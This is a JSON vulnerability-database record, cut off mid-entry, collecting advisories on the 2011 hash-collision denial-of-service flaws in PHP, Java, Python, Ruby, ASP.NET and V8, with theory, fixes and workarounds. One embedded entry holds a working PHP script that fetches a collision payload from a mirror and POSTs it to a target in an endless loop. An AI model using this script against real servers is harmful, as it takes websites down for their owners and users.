{"id": "SECURITYVULNS:DOC:27500", "bulletinFamily": "software", "title": "[oCERT-2011-003] multiple implementations denial-of-service via hash algorithm collision", "description": "\r\n#2011-003 multiple implementations denial-of-service via hash algorithm\r\ncollision\r\n\r\nDescription:\r\n\r\nA variety of programming languages suffer from a denial-of-service (DoS)\r\ncondition against storage functions of key/value pairs in hash data\r\nstructures, the condition can be leveraged by exploiting predictable\r\ncollisions in the underlying hashing algorithms.\r\n\r\nThe issue finds particular exposure in web server applications and/or\r\nframeworks. In particular, the lack of sufficient limits for the number of\r\nparameters in POST requests in conjunction with the predictable collision\r\nproperties in the hashing functions of the underlying languages can render web\r\napplications vulnerable to the DoS condition. The attacker, using specially\r\ncrafted HTTP requests, can lead to a 100% of CPU usage which can last up to\r\nseveral hours depending on the targeted application and server performance,\r\nthe amplification effect is considerable and requires little bandwidth and\r\ntime on the attacker side.\r\n\r\nThe condition for predictable collisions in the hashing functions has been\r\nreported for the following language implementations: Java, JRuby, PHP, Python,\r\nRubinius, Ruby. In the case of the Ruby language, the 1.9.x branch is not\r\naffected by the predictable collision condition since this version includes a\r\nrandomization of the hashing function.\r\n\r\nThe vulnerability outlined in this advisory is practically identical to the\r\none reported in 2003 and described in the paper Denial of Service via\r\nAlgorithmic Complexity Attacks which affected the Perl language.\r\n\r\nThe reporters own advisory can be found at\r\nhttp://www.nruns.com/_downloads/advisory28122011.pdf\r\n\r\nAffected version:\r\nJava, all versions\r\nJRuby <= 1.6.5\r\nPHP <= 5.3.8, <= 5.4.0RC3\r\nPython, all versions\r\nRubinius, all versions\r\nRuby <= 1.8.7-p356\r\n\r\nApache Geronimo, all versions\r\nApache Tomcat <= 5.5.34, <= 6.0.34, <= 7.0.22\r\nOracle Glassfish <= 3.1.1\r\nJetty, all versions\r\nPlone, all versions\r\nRack, all versions\r\nV8 JavaScript Engine, all versions\r\n\r\nFixed version:\r\nJava, N/A\r\nJRuby >= 1.6.5.1\r\nPHP >= 5.3.9, >= 5.4.0RC4\r\nPython, N/A\r\nRubinius, N/A\r\nRuby >= 1.8.7-p357, 1.9.x\r\n\r\nApache Geronimo, N/A\r\nApache Tomcat >= 5.5.35, >= 6.0.35, >= 7.0.23\r\nOracle Glassfish, N/A (Oracle reports that the issue is fixed in the main codeline and scheduled for a future CPU)\r\nJetty, N/A\r\nPlone, N/A\r\nRack, N/A\r\nV8 JavaScript Engine, N/A\r\n\r\nCredit: vulnerability report and PoC code received from Alexander Klink\r\n<alexander.klink AT nruns.com> and Julian Waelde <jwaelde AT\r\ncdc.informatik.tu-darmstadt.de>.\r\n\r\nCVE: CVE-2011-4461 (Jetty), CVE-2011-4838 (JRuby), CVE-2011-4885 (PHP),\r\n CVE-2011-4462 (Plone), CVE-2011-4815 (Ruby)\r\n\r\nTimeline:\r\n\r\n2011-09-25: vulnerability report received, reporters set embargo date to December 27th\r\n2011-10-18: contacted maintainers of Apache Tomcat, Apache Geronimo, Jetty, Java, Plone, Zope, V8\r\n2011-11-01: contacted maintainers of Ruby on Rails, Ruby, Python, PHP\r\n2011-11-01: contacted affected distributions\r\n2011-11-02: contacted JRuby maintainer\r\n2011-12-13: contacted Ruby Installer maintainer\r\n2011-12-14: assigned CVE for Ruby\r\n2011-12-15: assigned CVE for JRuby\r\n2011-12-13: contacted Rack maintainer\r\n2011-12-16: assigned CVE for Apache Tomcat\r\n2011-12-21: assigned CVE for PHP\r\n2011-12-28: advisory release\r\n\r\nReferences:\r\nhttp://www.nruns.com/_downloads/advisory28122011.pdf\r\nhttp://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003.pdf\r\nhttp://svn.php.net/viewvc?view=revision&revision=321003 (unstable, not final)\r\nhttp://svn.php.net/viewvc?view=revision&revision=321040 (unstable, not final)\r\nhttps://gist.github.com/52bbc6b9cc19ce330829\r\n\r\nPermalink:\r\nhttp://www.ocert.org/advisories/ocert-2011-003.html\r\n\r\n-- \r\nAndrea Barisani | Founder & Project Coordinator\r\n oCERT | OSS Computer Security Incident Response Team\r\n\r\n<lcars@ocert.org> http://www.ocert.org\r\n 0x864C9B9E 0A76 074A 02CD E989 CE7F AC3F DA47 578E 864C 9B9E\r\n "Pluralitas non est ponenda sine necessitate"\r\n", "published": "2012-01-02T00:00:00", "modified": "2012-01-02T00:00:00", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:27500", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2011-4461", "CVE-2011-4462", "CVE-2011-4885", "CVE-2011-4838", "CVE-2011-4815"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:43", "edition": 1, "viewCount": 21, "enchantments": {"score": {"value": 6.6, "vector": "NONE", "modified": "2018-08-31T11:10:43", "rev": 2}, "dependencies": {"references": [{"type": "seebug", "idList": ["SSV:30071", "SSV:26121", "SSV:72454", "SSV:30001", "SSV:26126"]}, {"type": "cve", "idList": ["CVE-2011-4838", "CVE-2011-4461", "CVE-2011-4885", "CVE-2011-4462", "CVE-2011-4815"]}, {"type": "f5", "idList": ["F5:K13588", "SOL13588"]}, {"type": "cert", "idList": ["VU:903934"]}, {"type": "openvas", "idList": ["OPENVAS:870638", "OPENVAS:881167", "OPENVAS:136141256231070754", "OPENVAS:71568", "OPENVAS:1361412562310864104", "OPENVAS:136141256231071568", "OPENVAS:1361412562310840993", "OPENVAS:1361412562310864103", "OPENVAS:70754", "OPENVAS:864104"]}, {"type": "freebsd", "idList": ["91BE81E7-3FEA-11E1-AFC7-2C4138874F7D"]}, {"type": "nessus", "idList": ["FEDORA_2012-0730.NASL", "FEDORA_2012-0752.NASL", "ORACLELINUX_ELSA-2012-0069.NASL", "SUSE_11_4_JETTY5-120215.NASL", "FREEBSD_PKG_91BE81E73FEA11E1AFC72C4138874F7D.NASL", "F5_BIGIP_SOL13588.NASL", "FEDORA_2011-17542.NASL", "MANDRIVA_MDVSA-2012-024.NASL", "GENTOO_GLSA-201207-06.NASL", "FEDORA_2011-17551.NASL"]}, {"type": "gentoo", "idList": ["GLSA-201207-06"]}, {"type": "github", "idList": ["GHSA-PCWM-8JC3-QXVJ"]}, {"type": "ubuntu", "idList": ["USN-1429-1"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:27501"]}, {"type": "jvn", "idList": ["JVN:90615481"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:108294", "PACKETSTORM:108287"]}, {"type": "exploitdb", "idList": ["EDB-ID:18305", "EDB-ID:18296"]}, {"type": "amazon", "idList": ["ALAS-2012-041", "ALAS-2012-037", "ALAS-2012-035"]}, {"type": "oraclelinux", "idList": ["ELSA-2012-0069"]}, {"type": "redhat", "idList": ["RHSA-2012:0092", "RHSA-2012:1605", "RHSA-2012:0019", "RHSA-2012:0069", "RHSA-2012:1606", "RHSA-2012:1604"]}, {"type": "centos", "idList": ["CESA-2012:0019", "CESA-2012:0069", "CESA-2012:0093"]}, {"type": "debian", "idList": ["DEBIAN:DLA-209-1:3C908"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:B8DA2EAADC9FCF2EF821731BB51E75E7"]}], "modified": "2018-08-31T11:10:43", "rev": 2}, "vulnersScore": 6.6}, "affectedSoftware": [], "immutableFields": []}

{"seebug": [{"lastseen": "2017-11-19T17:56:14", "description": "No description provided by source.", "published": "2011-12-29T00:00:00", "type": "seebug", "title": "Multiple Programming Language Implementations Vulnerable to Hash Table Collision Attacks", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-4461", "CVE-2011-4462", "CVE-2011-4815", "CVE-2011-4838", "CVE-2011-4885"], "modified": "2011-12-29T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-26121", "id": "SSV:26121", "sourceData": "\n US-CERT is aware of reports stating that multiple programming language implementations, including web platforms, are vulnerable to hash table collision attacks. This vulnerability could be used by an attacker to launch a denial-of-service attack against websites using affected products. \r\n\r\nThe Ruby Security Team has updated Ruby 1.8.7. The Ruby 1.9 series is not affected by this attack. Additional information can be found in the ruby 1.8.7 patchlevel 357 release notes.\r\n\r\nMicrosoft has released a security advisory for ASP.NET containing a workaround. Additional information can be found in Microsoft Security Advisory 2659883.\r\n\r\nMore information regarding this vulnerability can be found in US-CERT Vulnerability Note VU#903934 and n.runs Security Advisory n.runs-SA-2011.004.\r\n\r\n---\r\nsebug\r\n\r\n\u76ee\u524d\u5df2\u77e5\u7684\u53d7\u5f71\u54cd\u7684\u8bed\u8a00\u4ee5\u53ca\u7248\u672c\u6709::\r\nJava, \u6240\u6709\u7248\u672c\r\nJRuby &lt;= 1.6.5\r\nPHP &lt;= 5.3.8, &lt;= 5.4.0RC3\r\nPython, \u6240\u6709\u7248\u672c\r\nRubinius, \u6240\u6709\u7248\u672c\r\nRuby &lt;= 1.8.7-p356\r\nApache Geronimo, \u6240\u6709\u7248\u672c\r\nApache Tomcat &lt;= 5.5.34, &lt;= 6.0.34, &lt;= 7.0.22\r\nOracle Glassfish &lt;= 3.1.1\r\nJetty, \u6240\u6709\u7248\u672c\r\nPlone, \u6240\u6709\u7248\u672c\r\nRack, \u6240\u6709\u7248\u672c\r\nV8 JavaScript Engine, \u6240\u6709\u7248\u672c\r\n\r\n\u4e0d\u53d7\u6b64\u5f71\u54cd\u7684\u8bed\u8a00\u6216\u8005\u4fee\u590d\u7248\u672c\u7684\u8bed\u8a00\u6709::\r\nPHP &gt;= 5.3.9, &gt;= 5.4.0RC4\r\nJRuby &gt;= 1.6.5.1\r\nRuby &gt;= 1.8.7-p357, 1.9.x\r\nApache Tomcat &gt;= 5.5.35, &gt;= 6.0.35, &gt;= 7.0.23\r\nOracle Glassfish, N/A (Oracle reports that the issue is fixed in the main codeline and scheduled for a future CPU)\r\n\r\nCVE: CVE-2011-4885 (PHP), CVE-2011-4461 (Jetty), CVE-2011-4838 (JRuby), CVE-2011-4462 (Plone), CVE-2011-4815 (Ruby)\r\n\r\n---\r\n\r\n===================================\r\n\r\nn.runs AG\r\nhttp://www.nruns.com/ security(at)nruns.com\r\nn.runs-SA-2011.004 28-Dec-2011\r\n________________________________________________________________________\r\nVendors: PHP, http://www.php.net\r\n Oracle, http://www.oracle.com\r\n Microsoft, http://www.microsoft.com\r\n Python, http://www.python.org\r\n Ruby, http://www.ruby.org\r\n Google, http://www.google.com\r\nAffected Products: PHP 4 and 5\r\n Java\r\n Apache Tomcat\r\n Apache Geronimo\r\n Jetty\r\n Oracle Glassfish\r\n ASP.NET\r\n Python\r\n Plone\r\n CRuby 1.8, JRuby, Rubinius \r\n v8\r\nVulnerability: Denial of Service through hash table\r\n multi-collisions\r\nTracking IDs: oCERT-2011-003\r\n CERT VU#903934\r\n________________________________________________________________________\r\nVendor communication:\r\n2011/11/01 Coordinated notification to PHP, Oracle, Python, Ruby, Google\r\n via oCERT\r\n2011/11/29 Coordinated notification to Microsoft via CERT\r\n\r\nVarious communication with the vendors for clarifications, distribution\r\nof PoC code, discussion of fixes, etc.\r\n___________________________________________________________________________\r\nOverview:\r\n\r\nHash tables are a commonly used data structure in most programming\r\nlanguages. Web application servers or platforms commonly parse\r\nattacker-controlled POST form data into hash tables automatically, so\r\nthat they can be accessed by application developers.\r\n\r\nIf the language does not provide a randomized hash function or the\r\napplication server does not recognize attacks using multi-collisions, an\r\nattacker can degenerate the hash table by sending lots of colliding\r\nkeys. The algorithmic complexity of inserting n elements into the table\r\nthen goes to O(n**2), making it possible to exhaust hours of CPU time\r\nusing a single HTTP request.\r\n\r\nThis issue has been known since at least 2003 and has influenced Perl\r\nand CRuby 1.9 to change their hash functions to include randomization.\r\n\r\nWe show that PHP 5, Java, ASP.NET as well as v8 are fully vulnerable to\r\nthis issue and PHP 4, Python and Ruby are partially vulnerable,\r\ndepending on version or whether the server running the code is a 32 bit\r\nor 64 bit machine.\r\n\r\nDescription:\r\n\r\n= Theory =\r\n\r\nMost hash functions used in hash table implementations can be broken\r\nfaster than by using brute-force techniques (which is feasible for hash\r\nfunctions with 32 bit output, but very expensive for 64 bit functions)\r\nby using one of two \u201ctricks\u201d: equivalent substrings or a\r\nmeet-in-the-middle attack.\r\n\r\n== Equivalent substrings ==\r\n\r\nSome hash functions have the property that if two strings collide, e.g.\r\nhash('string1') = hash('string2'), then hashes having this substring at\r\nthe same position collide as well, e.g. hash('prefixstring1postfix') =\r\nhash('prefixstring2postfix'). If for example 'Ez' and 'FY' collide under\r\na hash function with this property, then 'EzEz', 'EzFY', 'FYEz', 'FYFY'\r\ncollide as well. An observing reader may notice that this is very\r\nsimilar to binary counting from zero to four. Using this knowledge, an\r\nattacker can construct arbitrary numbers of collisions (2^n for\r\n2*n-sized strings in this example).\r\n\r\n== Meet-in-the-middle attack ==\r\n\r\nIf equivalent substrings are not present in a given hash function, then\r\nbrute-force seems to be the only solution. The obvious way to best use\r\nbrute-force would be to choose a target value and hash random\r\n(fixed-size) strings and store those which hash to the target value. For\r\na non-biased hash function with 32 bit output length, the probability of\r\nhitting a target in this way is 1/(2^32).\r\n\r\nA meet-in-the-middle attack now tries to hit more than one target at a\r\ntime. If the hash function can be inverted and the internal state of the\r\nhash function has the same size as the output, one can split the string\r\ninto two parts, a prefix (of size n) and a postfix (of size m). One can\r\nnow iterate over all possible m-sized postfix strings and calculate the\r\nintermediate value under which the hash function maps to a certain\r\ntarget. If one stores these strings and corresponding intermediate value\r\nin a lookup table, one can now generate random n-sized prefix strings\r\nand see if they map to one of the intermediate values in the lookup\r\ntable. If this is the case, the complete string will map to the target\r\nvalue.\r\n\r\nSplitting in the middle reduces the complexity of this attack by the\r\nsquare root, which gives us the probability of 1/(2^16) for a collision,\r\nthus enabling an attacker to generate multi-collisions much faster.\r\n\r\nThe hash functions we looked at which were vulnerable to an equivalent\r\nsubstring attack were all vulnerable to a meet-in-the-middle attack as\r\nwell. In this case, the meet-in-the-middle attack provides more\r\ncollisions for strings of a fixed size than the equivalent substring\r\nattack.\r\n\r\n= The real world =\r\n\r\nThe different language use different hash functions which suffer from\r\ndifferent problems. They also differ in how they use hash tables in\r\nstoring POST form data.\r\n\r\n== PHP 5 ==\r\n\r\nPHP 5 uses the DJBX33A (Dan Bernstein's times 33, addition) hash\r\nfunction and parses POST form data into the $_POST hash table. Because\r\nof the structure of the hash function, it is vulnerable to an equivalent\r\nsubstring attack.\r\n\r\nThe maximal POST request size is typically limited to 8 MB, which when\r\nfilled with a set of multi-collisions would consume about four hours of\r\nCPU time on an i7 core. Luckily, this time can not be exhausted because\r\nit is limited by the max_input_time (default configuration: -1,\r\nunlimited), Ubuntu and several BSDs: 60 seconds) configuration\r\nparameter. If the max_input_time parameter is set to -1 (theoretically:\r\nunlimited), it is bound by the max_execution_time configuration\r\nparameter (default value: 30).\r\n\r\nOn an i7 core, the 60 seconds take a string of multi-collisions of about\r\n500k. 30 seconds of CPU time can be generated using a string of about\r\n300k. This means that an attacker needs about 70-100kbit/s to keep one\r\ni7 core constantly busy. An attacker with a Gigabit connection can keep\r\nabout 10.000 i7 cores busy.\r\n\r\n== ASP.NET ==\r\n\r\nASP.NET uses the Request.Form object to provide POST data to a web\r\napplication developer. This object is of class NameValueCollection. This\r\nuses a different hash function than the standard .NET one, namely\r\nCaseInsensitiveHashProvider.getHashCode(). This is the DJBX33X (Dan\r\nBernstein's times 33, XOR) hash function on the uppercase version of the\r\nkey, which is breakable using a meet-in-the-middle attack.\r\n\r\nCPU time is limited by the IIS webserver to a value of typically 90\r\nseconds. This allows an attacker with about 30kbit/s to keep one Core2\r\ncore constantly busy. An attacker with a Gigabit connection can keep\r\nabout 30.000 Core2 cores busy.\r\n\r\n== Java ==\r\n\r\nJava offers the HashMap and Hashtable classes, which use the\r\nString.hashCode() hash function. It is very similar to DJBX33A (instead\r\nof 33, it uses the multiplication constant 31 and instead of the start\r\nvalue 5381 it uses 0). Thus it is also vulnerable to an equivalent\r\nsubstring attack. When hashing a string, Java also caches the hash value\r\nin the hash attribute, but only if the result is different from zero.\r\nThus, the target value zero is particularly interesting for an attacker\r\nas it prevents caching and forces re-hashing.\r\n\r\nDifferent web application parse the POST data differently, but the ones\r\ntested (Tomcat, Geronima, Jetty, Glassfish) all put the POST form data\r\ninto either a Hashtable or HashMap object. The maximal POST sizes also\r\ndiffer from server to server, with 2 MB being the most common.\r\n\r\nA Tomcat 6.0.32 server parses a 2 MB string of colliding keys in about\r\n44 minutes of i7 CPU time, so an attacker with about 6 kbit/s can keep\r\none i7 core constantly busy. If the attacker has a Gigabit connection,\r\nhe can keep about 100.000 i7 cores busy.\r\n\r\n== Python ==\r\n\r\nPython uses a hash function which is very similar to DJBX33X, which can\r\nbe broken using a meet-in-the-middle attack. It operates on register\r\nsize and is thus different for 64 and 32 bit machines. While generating\r\nmulti-collisions efficiently is also possible for the 64 bit version of\r\nthe function, the resulting colliding strings are too large to be\r\nrelevant for anything more than an academic attack.\r\n\r\nPlone as the most prominent Python web framework accepts 1 MB of POST\r\ndata, which it parses in about 7 minutes of CPU time in the worst case.\r\nThis gives an attacker with about 20 kbit/s the possibility to keep one\r\nCore Duo core constantly busy. If the attacker is in the position to\r\nhave a Gigabit line available, he can keep about 50.000 Core Duo cores\r\nbusy.\r\n\r\n== Ruby ==\r\n\r\nThe Ruby language consists of several implementations which do not share\r\nthe same hash functions. It also differs in versions (1.8, 1.9), which \u2212\r\ndepending on the implementation \u2212 also do not necessarily share the same\r\nhash function.\r\n\r\nThe hash function of CRuby 1.9 has been using randomization since 2008\r\n(a result of the algorithmic complexity attacks disclosed in 2003). The\r\nCRuby 1.8 function is very similar to DJBX33A, but the large\r\nmultiplication constant of 65599 prevents an effective equivalent\r\nsubstring attack. The hash function can be easily broken using a meet-\r\nin-the-middle attack, though. JRuby uses the CRuby 1.8 hash function for\r\nboth 1.8 and 1.9. Rubinius uses a different hash function but also does\r\nnot randomize it.\r\n\r\nA typical POST size limit in Ruby frameworks is 2 MB, which takes about\r\n6 hours of i7 CPU time to parse. Thus, an attacker with a single 850\r\nbits/s line can keep one i7 core busy. The other way around, an attacker\r\nwith a Gigabit connection can keep about 1.000.000 (one million!) i7\r\ncores busy.\r\n\r\n== v8 ==\r\n\r\nGoogle's Javascript implementation v8 uses a hash function which looks\r\ndifferent from the ones seen before, but can be broken using a meet-in-\r\nthe-middle attack, too.\r\n\r\nNode.js uses v8 to run Javascript-based web applications. The\r\nquerystring module parses POST data into a hash table structure.\r\n\r\nAs node.js does not limit the POST size by default (we assume this would\r\ntypically be the job of a framework), no effectiveness/efficiency\r\nmeasurements were performed.\r\n\r\nImpact:\r\n\r\nAny website running one of the above technologies which provides the\r\noption to perform a POST request is vulnerable to very effective DoS\r\nattacks.\r\n\r\nAs the attack is just a POST request, it could also be triggered from\r\nwithin a (third-party) website. This means that a cross-site-scripting\r\nvulnerability on a popular website could lead to a very effective DDoS\r\nattack (not necessarily against the same website).\r\n\r\nFixes:\r\n\r\nThe Ruby Security Team was very helpful in addressing this issue and\r\nboth CRuby and JRuby provide updates for this issue with a randomized\r\nhash function (CRuby 1.8.7-p357, JRuby 1.6.5.1, CVE-2011-4815).\r\n\r\nOracle has decided there is nothing that needs to be fixed within Java\r\nitself, but will release an updated version of Glassfish in a future CPU\r\n(Oracle Security ticket S0104869).\r\n\r\nTomcat has released updates (7.0.23, 6.0.35) for this issue which limit\r\nthe number of request parameters using a configuration parameter. The\r\ndefault value of 10.000 should provide sufficient protection.\r\n\r\nWorkarounds:\r\n\r\nFor languages were no fixes have been issued (yet?), there are a number\r\nof workarounds.\r\n\r\n= Limiting CPU time =\r\n\r\nThe easiest way to reduce the impact of such an attack is to reduce the\r\nCPU time that a request is allowed to take. For PHP, this can be\r\nconfigured using the max_input_time parameter. On IIS (for ASP.NET),\r\nthis can be configured using the \u201cshutdown time limit for processes\u201d\r\nparameter.\r\n\r\n= Limiting maximal POST size =\r\n\r\nIf you can live with the fact that users can not put megabytes of data\r\ninto your forms, limiting the form size to a small value (in the 10s of\r\nkilobytes rather than the usual megabytes) can drastically reduce the\r\nimpact of the attack as well.\r\n\r\n= Limiting maximal number of parameters =\r\n\r\nThe updated Tomcat versions offer an option to reduce the amount of\r\nparameters accepted independent from the maximal POST size. Configuring\r\nthis is also possible using the Suhosin version of PHP using the\r\nsuhosin.{post|request}.max_vars parameters.\r\n\r\n________________________________________________________________________\r\nCredits:\r\nAlexander Klink, n.runs AG\r\nJulian W\u00e4lde, Technische Universit\u00e4t Darmstadt\r\n\r\nThe original theory behind this attack vector is described in the 2003\r\nUsenix Security paper \u201cDenial of Service via Algorithmic Complexity\r\nAttacks\u201d by Scott A. Crosby and Dan S. Wallach, Rice University\r\n________________________________________________________________________\r\nReferences:\r\nThis advisory and upcoming advisories:\r\nhttp://www.nruns.com/security_advisory.php\r\n________________________________________________________________________\r\nAbout n.runs:\r\nn.runs AG is a vendor-independent consulting company specialising in the\r\nareas of: IT Infrastructure, IT Security and IT Business Consulting.\r\n\r\nCopyright Notice:\r\nUnaltered electronic reproduction of this advisory is permitted. For all\r\nother reproduction or publication, in printing or otherwise, contact\r\nsecurity@nruns.com for permission. Use of the advisory constitutes\r\nacceptance for use in an \u201cas is\u201d condition. All warranties are excluded.\r\nIn no event shall n.runs be liable for any damages whatsoever including\r\ndirect, indirect, incidental, consequential, loss of business profits or\r\nspecial damages, even if n.runs has been advised of the possibility of\r\nsuch damages.\r\nCopyright 2011 n.runs AG. All rights reserved. Terms of use apply.\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-26121", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2017-11-19T17:56:13", "description": "BUGTRAQ ID: 51198\r\nCVE ID: CVE-2011-4815\r\n\r\nRuby\u4e00\u79cd\u4e3a\u7b80\u5355\u5feb\u6377\u5bf9\u8c61\u5bfc\u5411\u7f16\u7a0b\uff08\u9762\u5411\u5bf9\u8c61\u7a0b\u5e8f\u8bbe\u8ba1\uff09\u800c\u521b\u7684\u811a\u672c\u8bed\u8a00\u3002\r\n\r\nRuby\u5904\u7406\u5728\u54c8\u5e0c\u8868\u5355\u5f20\u8d34\u548c\u66f4\u65b0\u54c8\u5e0c\u8868\u5355\u65f6\uff0c\u54c8\u5e0c\u751f\u6210\u51fd\u6570\u4e2d\u5b58\u5728\u9519\u8bef\uff0c\u901a\u8fc7\u5728HTTP POST\u8bf7\u6c42\u4e2d\u53d1\u9001\u7279\u5236\u7684\u8868\u5355\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u6b64\u6f0f\u6d1e\u9020\u6210\u54c8\u5e0c\u51b2\u7a81\uff0c\u5bfc\u81f4\u8f83\u9ad8\u7684CPU\u6d88\u8017\u3002\n0\nRuby 1.x\n\u5382\u5546\u8865\u4e01\uff1a\r\n\r\nYukihiro Matsumoto\r\n------------------\r\n\u76ee\u524d\u5382\u5546\u5df2\u7ecf\u53d1\u5e03\u4e86\u5347\u7ea7\u8865\u4e01\u4ee5\u4fee\u590d\u8fd9\u4e2a\u5b89\u5168\u95ee\u9898\uff0c\u8bf7\u5230\u5382\u5546\u7684\u4e3b\u9875\u4e0b\u8f7d\uff1a\r\n\r\nhttp://www.ruby-lang.org/", "published": "2011-12-30T00:00:00", "type": "seebug", "title": "Ruby\u54c8\u5e0c\u51b2\u7a81\u62d2\u7edd\u670d\u52a1\u6f0f\u6d1e", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-4815"], "modified": "2011-12-30T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-26126", "id": "SSV:26126", "sourceData": "", "sourceHref": "", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2017-11-19T13:26:05", "description": "No description provided by source.", "published": "2014-07-01T00:00:00", "type": "seebug", "title": "PHP Hashtables Denial of Service", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-4885"], "modified": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-72454", "id": "SSV:72454", "sourceData": "\n \r\n\r\n# Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service\r\nExploit\r\n # Date: 1/1/12\r\n # Author: infodox\r\n # Software Link: php.net\r\n #\r\nVersion: 5.3.*\r\n # Tested on: Linux\r\n # CVE : CVE-2011-4885 \r\n\r\nExploit\r\nDownload -- http://infodox.co.cc/Downloads/phpdos.txt \r\n\r\n&#60;?php\r\n/*\r\nPHP 5.3.* Hash Colission DoS Exploit by infodox\r\nOriginal version by itz me (opensc.ws)\r\nCVE-2011-4885\r\n\r\nMirrors List:\r\nhttp://www.exploit-db.com/sploits/hashcollide.txt\r\nhttp://compsoc.nuigalway.ie/~infodox/hashcollide.txt\r\nhttp://jrs-s.net/hashcollide.txt\r\nhttp://www.infodox.co.cc/Downloads/hashcollide.txt\r\n\r\nChanges:\r\nDifferent mirror for hashcollide.txt\r\nNow takes target as a command line argument\r\nStatus message printing\r\n\r\nTwitter: @info_dox\r\nBlog: blog.infodox.co.cc\r\nSite: http://www.infodox.co.cc/\r\n*/\r\n$targ = $argv[1];\r\n$x = file_get_contents(&#34;http://jrs-s.net/hashcollide.txt&#34;); // if this doesnt work replace with the mirrors_lst ones...\r\nwhile(1) {\r\n echo &#34;firing&#34;;\r\n $ch = curl_init(&#34;$targ&#34;);\r\n curl_setopt($ch, CURLOPT_POSTFIELDS, $x);\r\n curl_exec($ch);\r\n curl_close($ch);\r\n echo &#34;[+] Voly Sent!&#34;;\r\n}\r\n?&#62;\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-72454", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2017-11-19T17:56:00", "description": "BUGTRAQ ID: 51193\r\nCVE ID: CVE-2011-4885\r\n\r\n\r\nPHP 5.3.9\u4e4b\u524d\u7248\u672c\u5728\u8ba1\u7b97\u8868\u5355\u53c2\u6570\u54c8\u5e0c\u503c\u7684\u5b9e\u73b0\u4e0a\u6ca1\u6709\u63d0\u524d\u9650\u5236\u54c8\u5e0c\u51b2\u7a81\uff0c\u5b58\u5728\u62d2\u7edd\u670d\u52a1\u6f0f\u6d1e\uff0c\u901a\u8fc7\u53d1\u9001\u5c0f\u91cf\u7684\u7279\u5236webform\u8868\u5355\u5f20\u8d34\u5230\u53d7\u5f71\u54cd\u5e94\u7528\u7a0b\u5e8f\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u6b64\u6f0f\u6d1e\u5bfc\u81f4\u4f7f\u7528PHP\u7684\u7ad9\u70b9\u5931\u53bb\u54cd\u5e94\u6b63\u5e38\u8bf7\u6c42\u7684\u80fd\u529b\n0\nPHP 5.x\n\u5382\u5546\u8865\u4e01\uff1a\r\n\r\nPHP\r\n---\r\n\u76ee\u524d\u5382\u5546\u5df2\u7ecf\u53d1\u5e03\u4e86\u5347\u7ea7\u8865\u4e01\u4ee5\u4fee\u590d\u8fd9\u4e2a\u5b89\u5168\u95ee\u9898\uff0c\u8bf7\u5230\u5382\u5546\u7684\u4e3b\u9875\u4e0b\u8f7d\uff1a\r\n\r\nhttp://www.php.net", "published": "2012-01-01T00:00:00", "type": "seebug", "title": "PHP Web\u8868\u5355\u54c8\u5e0c\u51b2\u7a81\u62d2\u7edd\u670d\u52a1\u6f0f\u6d1e", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-4885"], "modified": "2012-01-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-30001", "id": "SSV:30001", "sourceData": "", "sourceHref": "", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "cve": [{"lastseen": "2021-02-02T05:51:09", "description": "JRuby before 1.6.5.1 computes hash values without restricting the ability to trigger hash collisions predictably, which allows context-dependent attackers to cause a denial of service (CPU consumption) via crafted input to an application that maintains a hash table.", "edition": 7, "cvss3": {}, "published": "2011-12-30T01:55:00", "title": "CVE-2011-4838", "type": "cve", "cwe": ["CWE-400"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-4838"], "modified": "2021-01-12T14:30:00", "cpe": [], "id": "CVE-2011-4838", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4838", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "cpe23": []}, {"lastseen": "2021-02-02T05:51:08", "description": "Plone 4.1.3 and earlier computes hash values for form parameters without restricting the ability to trigger hash collisions predictably, which allows remote attackers to cause a denial of service (CPU consumption) by sending many crafted parameters.", "edition": 6, "cvss3": {}, "published": "2011-12-30T01:55:00", "title": "CVE-2011-4462", "type": "cve", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": 